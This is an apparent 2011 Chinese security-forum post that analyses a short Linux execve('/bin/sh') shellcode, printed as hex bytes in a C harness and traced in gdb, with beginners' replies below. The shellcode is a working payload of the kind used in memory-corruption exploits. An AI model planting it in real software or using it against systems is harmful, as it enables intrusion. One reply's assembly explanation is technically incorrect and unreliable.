首页
社区
课程
招聘
[原创]简单Shellcode的详细分析
发表于: 2011-11-11 22:26 14344

[原创]简单Shellcode的详细分析

2011-11-11 22:26
14344

百年一遇的高级光棍节,我得写篇详细完整的文章才行。初学者,菜文,老鸟请飘过
分析段简单的shellcode代码
1.shellcode.c

#include <stdio.h>  
static char shellcode[]=    
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"    
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"    
"\x2f\x73\x68\x58";   
int main() {  
  (*(void(*)())shellcode)();  
  return 0;  
}  
[root@localhost ceshi]# gdb shellcode
GNU gdb Fedora (6.8-27.el5)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) l
1       #include <stdio.h>
2
3       static char shellcode[]=  
4       "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"  
5       "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"  
6       "\x2f\x73\x68\x58"; 
7
8       int main() {
9         (*(void(*)())shellcode)();
10        return 0;
(gdb) 
(gdb) b 9
Breakpoint 1 at 0x8048365: file shellcode.c, line 9.
(gdb) display /i $pc
(gdb) run
Starting program: /root/ceshi/shellcode 

Breakpoint 1, main () at shellcode.c:9
9         (*(void(*)())shellcode)();
1: x/i $pc
0x8048365 <main+17>:    mov    $0x8049580,%eax
(gdb) 
0x08049582 in shellcode ()
1: x/i $pc
0x8049582 <shellcode+2>:        pop    %esi
(gdb) 
0x08049583 in shellcode ()
1: x/i $pc
0x8049583 <shellcode+3>:        mov    %esi,0x8(%esi)
(gdb) i r esi
esi            0x804959e        134518174
(gdb) x/8xb 134518174
0x804959e <shellcode+30>:       0x2f    0x62    0x69    0x6e    0x2f    0x73  0x68     0x58
(gdb) 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
最新回复 (19)
雪    币: 258
活跃值: (84)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
坐上沙发!谢谢楼主分享!!!!!!!!!!!
2011-11-12 04:30
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
3
坐上沙发!谢谢楼主分享!!!!!!!!!!!
2011-11-12 06:11
0
雪    币: 506
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
看不懂唉。。。
2011-11-12 08:06
0
雪    币: 384
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
w+s太高深了,完全看不懂。
2011-11-12 09:18
0
雪    币: 130
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
记号!!!!
2011-11-12 09:48
0
雪    币: 343
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
7
AT&T格式的汇编还是觉得不好看。
2011-11-12 10:18
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
很好!!谢谢LZ
2011-11-12 11:02
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
9
有潜力的新人
2011-11-13 10:05
0
雪    币: 102
活跃值: (85)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
10
谢谢老大,谢谢看雪这个平台,我会加倍努力的
2011-11-13 10:42
0
雪    币: 603
活跃值: (40)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
11
我是来围观看雪老大的。。。。。
2011-11-13 19:27
0
雪    币: 201
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
//shellcode是一个返回(一个指针)的函数,这个指针是指向一个函数指针的指针,该函数指针是指向一个返回类型是void传入参数是空的函数

但是却没有定义任何函数,请问编译报错‘shellcode’ undeclared (first use in this function)如何解决
2011-11-14 00:41
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
的确是看不懂……
2011-11-14 11:44
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
14
期待后续大作
2011-11-14 11:49
0
雪    币: 527
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
沙发?
2011-11-14 15:07
0
雪    币: 79
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
同样是Aug 2011注册的,别人都已经这么牛逼了,我要加把劲啊!奋斗ing
2011-11-15 11:23
0
雪    币: 579
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
完全看不懂。我这几年的白菜算是白卖了。
2011-11-15 13:45
0
雪    币: 280
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
小顶一下,楼主继续加油。
2011-11-19 00:53
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
很好很强大,支持一下。
2011-11-22 22:15
0
雪    币: 1596
活跃值: (25)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
20
明白
就是把代码写在DS段后
mov ax,ds
mov cs,ax
mov ax,offset shellcode
mov ip,ax
2011-11-25 12:27
0
游客
登录 | 注册 方可回帖
返回
//